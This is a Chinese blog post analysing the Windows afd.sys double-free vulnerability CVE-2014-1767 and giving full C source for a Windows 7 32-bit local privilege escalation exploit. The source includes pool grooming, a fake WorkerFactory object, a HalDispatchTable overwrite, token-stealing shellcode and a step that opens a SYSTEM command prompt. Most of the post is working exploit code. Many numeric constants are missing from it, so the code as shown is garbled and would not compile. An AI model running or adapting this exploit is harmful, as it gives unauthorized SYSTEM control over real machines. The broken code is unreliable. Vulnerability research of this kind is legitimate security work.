CVE-2014-1767 利用分析(2015.2)
CVE-2014-1767利用分析
参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑。
利用思路
1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress 和 Length 设置此时被释放 的 MDL 内存大小为 0xA0。
2. NtCreateWorkerFactory 申请新的 WorkerFactoy 对象,占据【1】中被释放掉的内 存。
3. 第二次 IoControl,double free会释放掉刚刚申请的 WorkerFactoy 对象。
4. NtQueryEaFile 把我们精心设置的内容,填充到刚被释放掉的 WorkerFactory 对象内存空间(UAF)。
5. NtSetInformationWorkerFactory 操作我们的 fake object,达到修改 HalDispatchTable+4 内容为 shellcode(功能是使用系统token覆盖当前进行token)。
6. 用户层调用 NtQueryIntervalProfile,触发内核执行 shellcode。
7. 当前进行已经是管理员权限了,创建的子进程也具有相同的权限,提权完成。
一些坑和解释
1. 将初始化的操作都放在第一次IoControl之前,使【1】和【2】的时间间隔最小,这样占位成功的机会最大,但仍有占位不成功的时候,原因未知。
2. 所构造的fake WorkerFactory object 数据如下:
object header和object body是需要我们来布置的。
object header来自一个创建的object的部分。
object body部分其实就两个位置+00h和+10h,为了最后NtSetInformationWorkerFactory函数中的这条语句:*(*(*object+0x10)+0x1C) = *arg3,使左边的语句为HalDispatchTable+4。
其他置于0就可以了。
3. 分配的内存数据:
4. NtQueryEaFile的参数EaListLength必须为0x98,因为这样才可以保证【4】的正常执行。
5. NtSetInformationWorkerFactory函数的每一个参数都非常重要,不可以设置为其他的值,这都是跟踪得到能够到达目标代码的参数结果。6. NtQueryIntervalProfile的第一个参数也十分重要,等于2的时候才会走向调用HalDispatchTable+4的流程中去。
7.Shellcode中,提权结束后会做一些善后处理,将hWorkerFactory在HandleTableEntry的入口设置为NULL,不然提权进程结束后会蓝屏。因为我们已经破坏掉hWorkerFactory所对应的内核结构了,系统会对其进行清理操作的时候就会出问题。
遗留问题:HalDispatchTable+4的恢复问题,暂时不知道怎么读取其对应函数的地址。不过这个函数调用不是特别频繁,还是可以清楚的看到结果。
exp代码如下:
//CVE-2014-1767 exp for win7 32bit
//by 会飞的猫 2015.2.4
//complied with VS2013
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "WS2_32.lib") #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef LPVOID PEPROCESS; typedef NTSTATUS(__stdcall *_NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall *_NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall *_ZwAllocateVirtualMemory)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(__stdcall *_NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall *_NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD,PULONG);
typedef NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(DWORD, LPVOID *);
typedef NTSTATUS(__stdcall *_NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG); typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; _NtCreateWorkerFactory NtCreateWorkerFactory;
_NtQueryEaFile NtQueryEaFile;
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_NtQuerySystemInformation NtQuerySystemInformation;
_NtSetInformationWorkerFactory NtSetInformationWorkerFactory;
_NtQueryIntervalProfile NtQueryIntervalProfile;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory; HANDLE hWorkerFactory;
LPVOID AllocAddr = (LPVOID)0x20000000;
ULONG uHalDispatchTable = ;
HMODULE ntoskrnl;
ULONG ntoskrnlBase;
PVOID pHaliQuerySystemInformation=NULL; int GetNtdllFuncAddr()
{
HMODULE ntdll = GetModuleHandle("ntdll.dll"); NtCreateWorkerFactory = (_NtCreateWorkerFactory)(GetProcAddress(ntdll, "NtCreateWorkerFactory"));
if (NtCreateWorkerFactory == NULL)
{
printf("Get NtCreateWorkerFactory Address Error:%d", GetLastError());
CloseHandle(ntdll);
return -;
} //NtQueryEaFile
NtQueryEaFile = (_NtQueryEaFile)GetProcAddress(ntdll, "NtQueryEaFile");
if (NtQueryEaFile == NULL)
{
printf("Get NtQueryEaFile Address Error:%d", GetLastError());
return -;
}
//ZwAllocateVirtualMemory
ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory");
//NtQuerySystemInformation
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("Get NtQuerySystemInformation Address Error:%d", GetLastError());
return -;
}
//NtSetInformationWorkerFactory
NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(ntdll, "NtSetInformationWorkerFactory"));
if (NtSetInformationWorkerFactory == NULL)
{
printf("Get NtSetInformationWorkerFactory Address Error:%d", GetLastError());
return -;
}
//_NtQueryIntervalProfile
NtQueryIntervalProfile = (_NtQueryIntervalProfile)(GetProcAddress(ntdll, "NtQueryIntervalProfile"));
if (NtQueryIntervalProfile == NULL)
{
printf("Get NtQueryIntervalProfile Address Error:%d", GetLastError());
return -;
}
//get uHalDispatchTable
RTL_PROCESS_MODULES module;
memset(&module, , sizeof(RTL_PROCESS_MODULES));
NTSTATUS status = NtQuerySystemInformation(, &module, sizeof(RTL_PROCESS_MODULES), NULL);
if (status != 0xC0000004) //STATUS_INFO_LENGTH_MISMATCH
{
printf("Get module Address Error:%d", GetLastError());
return -;
}
ntoskrnlBase = (ULONG)module.Modules[].ImageBase;
ntoskrnl = LoadLibrary((LPCSTR)(module.Modules[].FullPathName + module.Modules[].OffsetToFileName));
if (ntoskrnl == NULL)
{
printf("LoadLibrary ntoskrnl.exe fail!\n");
return -;
}
uHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl, "HalDispatchTable") - (ULONG)ntoskrnl + ntoskrnlBase;
if (uHalDispatchTable == )
{
printf("Get HalDispatchTable Error:%d\n", GetLastError());
return -;
}
//printf("HalDispatchTable Address:0x%x!\n", uHalDispatchTable); //PsLookupProcessByProcessId
PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)((ULONG)GetProcAddress(ntoskrnl, "PsLookupProcessByProcessId") - (ULONG)ntoskrnl + ntoskrnlBase);
if (PsLookupProcessByProcessId == NULL)
{
printf("Get PsLookupProcessByProcessId Address Error:%d", GetLastError());
return -;
}
CloseHandle(ntdll);
return ;
}
/*int CreateWorkerFactory()
{
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4); DWORD Exploit;
NTSTATUS status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -1;
}
return 0;
}*/
int MyNtQueryEaFile()
{
NTSTATUS status;
IO_STATUS_BLOCK StatusBlock; status = NtQueryEaFile(NULL, (PIO_STATUS_BLOCK)&StatusBlock, NULL, NULL, FALSE, AllocAddr, 0x98, NULL, TRUE);
return ;
}
//shellcode代码
void shellcode()
{
PEPROCESS pCur, pSys;
DWORD dwSystemProcessId = ;
DWORD dwCurProcessId = GetCurrentProcessId();
PsLookupProcessByProcessId(dwCurProcessId, &pCur);
PsLookupProcessByProcessId(dwSystemProcessId, &pSys);
//replace current process`s token with system token
*(PVOID *)((DWORD)pCur + 0xf8) = *(PVOID *)((DWORD)pSys + 0xf8);
//set our handle`s HandleTableEntry with NULL to avoid bugcheck
PULONG ObjectTable = *(PULONG *)((ULONG)pCur + 0x0f4);
PULONG HandleTableEntry = (PULONG)(*(ULONG*)(ObjectTable)+ * ((ULONG)hWorkerFactory & 0xFFFFFFFC));
*HandleTableEntry = NULL;
//dec handle reference by 1
*(ObjectTable + 0x30) -= ;
//restore HalDispatchTable+4 to avoid bugcheck
//*(DWORD*)(uHalDispatchTable + 4) = (DWORD)pHaliQuerySystemInformation;
}
int MyNtSetInformationWorkerFactory()
{
DWORD* tem = (DWORD*)malloc(0x20);
memset(tem, 'A', 0x20);
tem[] = (DWORD)shellcode; NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
return ;
}
void CreatNewCmd()
{
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo; memset(&StartupInfo, , sizeof(StartupInfo));
memset(&ProcessInfo, , sizeof(ProcessInfo)); StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = ;
StartupInfo.dwFlags = ;
CreateProcess(, "cmd", , , , CREATE_NEW_CONSOLE, , , &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, );
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
}
void GetHaliQuerySystemInformation()
{
static BYTE kernelRetMem[0x60];
memset(kernelRetMem, , sizeof(kernelRetMem)); NtQueryInformationWorkerFactory(hWorkerFactory,
,
kernelRetMem,
0x60,
NULL); pHaliQuerySystemInformation = *(PVOID *)(kernelRetMem + 0x50);
printf("uHaliQuerySystemInformation: %p\n", pHaliQuerySystemInformation);
return;
}
int main()
{
printf("----------------------------------------\n");
printf("****CVE-2014-1767 exp for win7 32bit****\n");
printf("****by flycat 2015.2.4****\n");
printf("----------------------------------------\n");
printf("\n\n\n\n");
DWORD targetSize = 0xA0;
DWORD virtualAddress = 0x13371337;
DWORD Length = ((targetSize - 0x1C) / - (virtualAddress % ? : )) * 0x1000; static DWORD inbuf1[];
memset(inbuf1, , sizeof(inbuf1));
inbuf1[] = virtualAddress;
inbuf1[] = Length; static DWORD inbuf2[];
memset(inbuf2, , sizeof(inbuf2));
inbuf2[] = ;
inbuf2[] = 0x0AAAAAAA; WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ier; WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, , sizeof(sa));
sa.sin_port = htons();
sa.sin_addr.S_un.S_addr = inet_addr("127.0.1");
sa.sin_family = AF_INET;
ier = connect(s, (const struct sockaddr *)&sa, sizeof(sa)); static char outBuf[];
DWORD bytesRet; int nRet = ;
//get some kernel function addresses
nRet = GetNtdllFuncAddr();
if (nRet != )
{
return -;
}
//allocate memory and set some data
DWORD uRegionSize = 0x200;
NTSTATUS status = ZwAllocateVirtualMemory(GetCurrentProcess(),
&AllocAddr, , &uRegionSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("Allocate Mem Failed :%d\n", GetLastError());
return -;
} memset(AllocAddr, , 0x200);
__asm
{
pushad
mov eax, AllocAddr
mov dword ptr[eax + ], 0xa8
mov dword ptr[eax + 10h],
mov dword ptr[eax + 14h],
mov dword ptr[eax + 1ch], 80016h
mov dword ptr[eax + 28h], 20000028h
mov ebx, uHalDispatchTable
sub ebx, 18h
mov dword ptr[eax + 38h], ebx
popad
}
//wait 2 second
::Sleep();
//first IoControl
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, , &bytesRet, NULL);
//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, , );
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-, &Exploit, NULL, , , );
if (!NT_SUCCESS(status))
{
printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
return -;
}
//try to read HaliQuerySystemInformation address but failed
//GetHaliQuerySystemInformation(); //second IoControl
//free the Workerfactory object we create just now
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, , &bytesRet, NULL);
//NtQueryEaFile will allocate a pool with the same size of Workerfactory object,and
//memcpy our data to the Workerfactory object,mainly change Workerfactory object+0x10 to
//HalDispatchTable+4
MyNtQueryEaFile();
//change HalDispatchTable+4 to our shellcode address
MyNtSetInformationWorkerFactory();
//Trigger from user mode
ULONG temp = ;
status = NtQueryIntervalProfile(, &temp);
if (!NT_SUCCESS(status))
{
printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
return -;
}
printf("done!\n");
//Sleep(000);
//Create a new cmd process with current token
printf("Creating a new cmd...\n");
CreatNewCmd();
return ;
}
by:会飞的猫
转载请注明:http://www.cnblogs.com/flycat-2016
CVE-2014-1767 利用分析(2015.2)的更多相关文章
- CVE-2015-0057 POC构造 & 利用分析(2015.7)
CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)
CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- CVE-2015-3864漏洞利用分析(exploit_from_google)
title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...
- CVE-2014-0322漏洞成因与利用分析
CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...
- CVE-2013-3897漏洞成因与利用分析
CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- MyEclipse 2014 GA 和 MyEclipse 2015 CI 和 Eclipse Luna 最新最全下载地址
官方下载地址: Eclipse 标准版 x86 http://mirror.hust.edu.cn/eclipse//technology/epp/downloads/release/luna/R/e ...
随机推荐
- 在MVC3中使用WebForm
Mvc和WebForm一直是有争议的两个平台,园子里也有很多人写过这方面的文章,给我印象比较深的是去年的时候看过的两篇文章http://www.cnblogs.com/mikelij/archive/ ...
- ARP 和 RARP
ARP 和 RARP 1.ARP 地址解析协议(Address Resolution Protocol,ARP)是在仅知道主机的IP地址时确地址解析协议定其物理地址的一种协议. 在 ...
- javac命令
javac命令 javac命令初窥 注:以下红色标记的参数在下文中有所讲解. 用法: javac <options> <source files> 其中, 可能的选项包括: ...
- reading words in your computer and changing to female voice, linux festival text2wave saving wav files
on a brand new linux PC, e.g. ubuntu 14.04 amd64 To hear voice sudo apt-get install festival -y then ...
- Arduino live weather broadcasting 实时天气站
Live broadcasting with arduino get a pc , make it run linux. make arduino catch the weather sensor a ...
- 快速构建C++项目工具Scons,结合Editplus搭建开发环境
Windows下C++开发工具用的最多的非VS莫属了(当然也有很多比如eclipse,Qt等等),便捷的项目构建向导,再加上强大的VC助手,使得开发和调试得心应手.并不是说vc就没有缺点,相反缺点也不 ...
- sftp 服务器外网访问设置
这个是需要在本机上设定用户名的.根据不同的用户权限.然后让不同的人来到本机上取得数据. 参考一下有用的文章:http://www.ericstockwell.com/?p=54 (强烈建议 ...
- 异常分析:关于jsp页面使用jstl
1.在jsp页面中使用如下代码加入jstl的支持 <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/c ...
- java字节码指令集
字节码指令集 Java虚拟机的指令由一个字节长度的.代表着某种特定操作含义的操作码(Opcode)以及跟随其后的零至多个代表此操作所需参数的操作数(Operands)所构成. 对于大部分为与数据类型相 ...
- Java核心技术 卷Ⅰ 基础知识(2)
第四章 对象与类 基于类的访问权限 静态域 类的设计技巧